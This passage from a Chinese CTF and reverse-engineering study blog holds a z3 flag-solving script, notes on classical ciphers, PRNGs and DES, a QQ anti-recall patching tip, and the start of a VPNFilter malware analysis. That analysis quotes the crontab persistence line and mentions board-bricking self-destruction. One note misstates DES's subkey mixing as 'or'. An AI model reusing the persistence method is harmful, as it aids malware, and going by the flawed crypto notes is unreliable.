solver.add(flag[1]+flag[2]+flag[0]-flag[3]-flag[4]-flag[5]-flag[6]+flag[7]+flag[8]+flag[9]-flag[10]+flag[11]+flag[12]-flag[13]+flag[14]+flag[15]+flag[16]+flag[17]+flag[18]+flag[19]+flag[20]+flag[21]-flag[22]-flag[23]+flag[24]-flag[25]-flag[26]-flag[27]-flag[28]+flag[29]+flag[30]+flag[31]+flag[32]-flag[33]-flag[34]-flag[35]-flag[36]+flag[37]-flag[38]+flag[39]+flag[40]-flag[41]==s[36])
solver.add(flag[0]-flag[1]-flag[2]+flag[3]-flag[4]+flag[5]-flag[6]-flag[7]-flag[8]-flag[9]+flag[10]-flag[11]-flag[12]-flag[13]-flag[14]-flag[15]-flag[16]+flag[17]+flag[18]-flag[19]-flag[20]-flag[21]+flag[22]-flag[23]+flag[24]-flag[25]-flag[26]+flag[27]-flag[28]-flag[29]+flag[30]+flag[31]-flag[32]+flag[33]-flag[34]+flag[35]-flag[36]-flag[37]+flag[38]-flag[39]-flag[40]-flag[41]==s[37])
solver.add(flag[1]+flag[2]+flag[3]+flag[0]-flag[4]+flag[5]+flag[6]+flag[7]-flag[8]-flag[9]-flag[10]+flag[11]+flag[12]+flag[13]-flag[14]-flag[15]-flag[16]-flag[17]-flag[18]-flag[19]+flag[20]+flag[21]-flag[22]+flag[23]+flag[24]+flag[25]+flag[26]+flag[27]-flag[28]-flag[29]+flag[30]+flag[31]-flag[32]-flag[33]+flag[34]-flag[35]-flag[36]-flag[37]+flag[38]+flag[39]+flag[40]-flag[41]==s[38])
solver.add(flag[0]-flag[1]-flag[2]-flag[3]-flag[4]+flag[5]-flag[6]-flag[7]-flag[8]+flag[9]-flag[10]+flag[11]-flag[12]+flag[13]+flag[14]-flag[15]-flag[16]-flag[17]+flag[18]+flag[19]+flag[20]+flag[21]+flag[22]-flag[23]+flag[24]+flag[25]+flag[26]+flag[27]+flag[28]-flag[29]+flag[30]+flag[31]+flag[32]+flag[33]+flag[34]-flag[35]-flag[36]+flag[37]+flag[38]+flag[39]-flag[40]+flag[41]==s[39])
solver.add(flag[0]-flag[1]-flag[2]-flag[3]+flag[4]+flag[5]+flag[6]-flag[7]+flag[8]+flag[9]-flag[10]+flag[11]-flag[12]-flag[13]-flag[14]+flag[15]+flag[16]+flag[17]+flag[18]+flag[19]+flag[20]+flag[21]+flag[22]-flag[23]+flag[24]+flag[25]-flag[26]+flag[27]+flag[28]-flag[29]+flag[30]+flag[31]+flag[32]-flag[33]-flag[34]+flag[35]+flag[36]-flag[37]+flag[38]+flag[39]+flag[40]+flag[41]==s[40])
solver.add(flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[0]-flag[7]-flag[8]-flag[9]+flag[10]+flag[11]-flag[12]+flag[13]-flag[14]-flag[15]-flag[16]-flag[17]-flag[18]-flag[19]+flag[20]-flag[21]+flag[22]-flag[23]-flag[24]+flag[25]+flag[26]+flag[27]+flag[28]-flag[29]-flag[30]-flag[31]-flag[32]-flag[33]-flag[34]-flag[35]-flag[36]-flag[37]-flag[38]-flag[39]-flag[40]+flag[41]==s[41])
if solver.check()==sat:
print solver.model()

问了下出题人顺便了解到了sage
学习一波

密码学

学习一波密码学,主要还是跟着航电的师傅博客中推荐的视频来学的
//后来发现有些视频没有中文字幕
有些简单的就不写了像什么替换密码。。。啥的

代换置换密码

凯撒密码

凯撒密码是固定的移位3。。。
不多说了这个很简单

HILL

希尔密码在hgame钟遇到过
一个plain text attack
具体加密过程就是有个密钥k
k决定了一次性加密多少
加密过程就是一个k*k得矩阵与之相乘然后取表
解密很简单啦就是逆矩阵了

Vigenère cipher

维吉尼亚就是多了个密钥
这是第一次引进密钥。。。
一般密钥就是一句话
然后明文与密钥相加模26

置换密码

一个特殊的希尔密码
类似栅栏密码啊啥的
其实本质上就是矩阵相乘

密码分析

密码算法的安全性不取决于密码算法本身的机密性,而取决于密钥的机密
对密码分析的攻击方法有很多。。。这边不例举
简单说几个就是唯密文攻击
有类似字频分析攻击啊等

流密码(序列密码)

对称密码有俩种一种是流密码还有一种就是分组密码
序列密码就是每次单独加密每个位
其中又分同步序列密码和异步序列密码
同步序列就是密钥与明文密文无关
异步就是有关
最经典的序列密码就是one time pad
具有完备安全
加密方式就是用与明文同样长的密钥序列与之xor

随机数

真随机数生成器

例如抛筛子啊什么的
这都是不可复制的
而一般通用的就是伪随机数生成器

伪随机数生成器(PRNG)

伪随机数生成器从一个初始种子开始通过计算来得到序列
最常见的例子就是线性同余生成器
s0 = seed
si+1 = a*si + b mod m , i = 0,1,…

CSPRNG

加密安全伪随机数生成器
这其实就是PRNG的一个特例
简单来说就是给定的钱n个密钥序列不能通过计算来得到后n个
成功预测的算法正确概率也不超过50%

完备安全

简单来说就是不能唯密文攻击//但可能有其他攻击方法
对于获取的密文c,有原文m1和m2,推出c的概率是相等的
但是想要完备安全 len(key) >= len(m)

数据加密标准与替换算法

主要是des
//以前已经了解过,现在基本识别是没有多大问题了
//复习一波

混淆

混淆就是一种使密钥与密文之间的关系尽可能模糊的操作。
现在实现混淆最常用的一个方法就是替换

扩散

为了隐藏明文的统计属性而将一个明文符号的影响扩散到多个密文符号的操作
简单来说就是俩个明文,仅有一个位不同,生成的密文有平均一般的不同

初始置换与逆初始置换

这个很简单就是对明文和密文做置换
俩个互逆的矩阵罢了

f函数

des的f函数传进去R的32位。。。然后与子密钥or后进行取表
然后就是一堆xor啥的操作

QQ消息防撤回

其实很简答
就是patch
20
上个成果图
目前没出现任何异常
其实原理就是
用户发起撤回请求->服务器接收请求并删除服务器的消息记录,给用户下发命令撤回->用户接收到命令,删除本地消息
但是问题就是本地消息是我们可控的
这样就好办了
直接找到撤回的函数nop掉就完事了
库的话是IM.dll
x32dbg附加上去暴力搜索一通就行
网上也有许多相关的文章
这边不多说了

vpnfilter

vpnfilter经了解是一款很牛逼的恶意软件。。。
而且是最近的一款,不是什么究极远古时代病毒
能有幸分析这一款软件也是很开心得
而且有老师指导,遇到得困难基本都能解决

学习目的

驻留技术
vpnfilter与以前得很多软件不同就是能驻留
像一般的恶意软件,系统重启后就会消失,而vpnfilter不会
所以要学习一下这个驻留技术
自毁技术
通过烧坏主板来“毁尸灭迹”

大致介绍

vpnfilter大致攻击流程图如下
8
主要是由三个阶段组成
第一阶段就是负责启动和驻留过程并下载第二阶段且运行
第二阶段就是远程命令得接受与执行
第三阶段主要是为了扩展

stage1

9
首先是fork进程后来一波改权限
我这边是umask(23)和其他人分析报告的不一样。。。
//别人是27
不知道为啥
10
然后是一波check
check自身文件是否存在,不存在的话就跳转
重新写入磁盘
然后是check_crontab
这主要是为了检查是否已经设置过自启动
如果没有的话就会设置自启动,来达到驻留
11
下面这个是设置自启动
可以看到是fprintf(result, b*/5 * * * * %s\ni, (int)&byte_808EF80);
每五分钟启动一次
12

文章目录
  1. 1. pwn出题
  2. 2. 花指令
  3. 3. smc
  4. 4. 反跟踪
    1. 4.1. IsDebuggerpresent
    2. 4.2. NtGlobalFlag
    3. 4.3. Heap Magic
  5. 5. ISCC_2019
    1. 5.1. RE
    2. 5.2. android
    3. 5.3. pwn
  6. 6. mips入门
    1. 6.1. mips64题目大致写法
    2. 6.2. mips32汇编
      1. 6.2.1. 存储指令集/相对偏移
      2. 6.2.2. 算术指令集
      3. 6.2.3. 控制流指令集
    3. 6.3. mips64
      1. 6.3.1. 具体注意点
      2. 6.3.2. 标志位
      3. 6.3.3. 跳转
      4. 6.3.4. 控制
  7. 7. pwn_learning
    1. 7.1. stack_smash
    2. 7.2. partial overwrite
    3. 7.3. frame faking
      1. 7.3.1. 例题
  8. 8. 信安数基学习
    1. 8.1. 整除&性质
    2. 8.2. 素数与厄拉托塞师筛法
    3. 8.3. 欧几里得除法&素数平凡判别
    4. 8.4. 最大公因数&广义欧几里得除法
    5. 8.5. 贝祖等式
    6. 8.6. 最大公因数的进一步性质
    7. 8.7. 整数的进一步性质和最小公倍数
    8. 8.8. 同余
  9. 9. VM逆向
    1. 9.1. RCTF 2018
  10. 10. De1CTF 2019
    1. 10.1. Re_Sign
    2. 10.2. Cplusplus
    3. 10.3. Evil_boost
    4. 10.4. Signal vm
  11. 11. sctf 2019
    1. 11.1. crackme
    2. 11.2. babyre
    3. 11.3. 学习总结
    4. 11.4. 前置知识
      1. 11.4.1. TEB(Thread Environment Block,线程环境块)
      2. 11.4.2. TIB(Thread Information Block,线程信息块)
      3. 11.4.3. ProcessEnvironmentBlock
      4. 11.4.4. PEB
      5. 11.4.5. BeingDebugged &&NtGlobalFlag
    5. 11.5. SEH异常处理
      1. 11.5.1. 硬件异常
        1. 11.5.1.1. fault
        2. 11.5.1.2. trap
        3. 11.5.1.3. abort
      2. 11.5.2. 软件异常
      3. 11.5.3. 异常的的分发处理
        1. 11.5.3.1. USER
    6. 11.6. SEH
      1. 11.6.1. 魔改sm4
  12. 12. SUCTF
    1. 12.1. SignIn
    2. 12.2. hardCPP
    3. 12.3. Akira Homework
    4. 12.4. babyunic
    5. 12.5. Rev
  13. 13. suctf学习总结
    1. 13.1. Unicorn Engine
  14. 14. 密码学
    1. 14.1. 代换置换密码
      1. 14.1.1. 凯撒密码
      2. 14.1.2. HILL
      3. 14.1.3. Vigenère cipher
      4. 14.1.4. 置换密码
    2. 14.2. 密码分析
    3. 14.3. 流密码(序列密码)
    4. 14.4. 随机数
      1. 14.4.1. 真随机数生成器
      2. 14.4.2. 伪随机数生成器(PRNG)
      3. 14.4.3. CSPRNG
    5. 14.5. 完备安全
    6. 14.6. 数据加密标准与替换算法
      1. 14.6.1. 混淆
      2. 14.6.2. 扩散
      3. 14.6.3. 初始置换与逆初始置换
      4. 14.6.4. f函数
  15. 15. QQ消息防撤回
  16. 16. vpnfilter
    1. 16.1. 学习目的
    2. 16.2. 大致介绍
      1. 16.2.1. stage1
|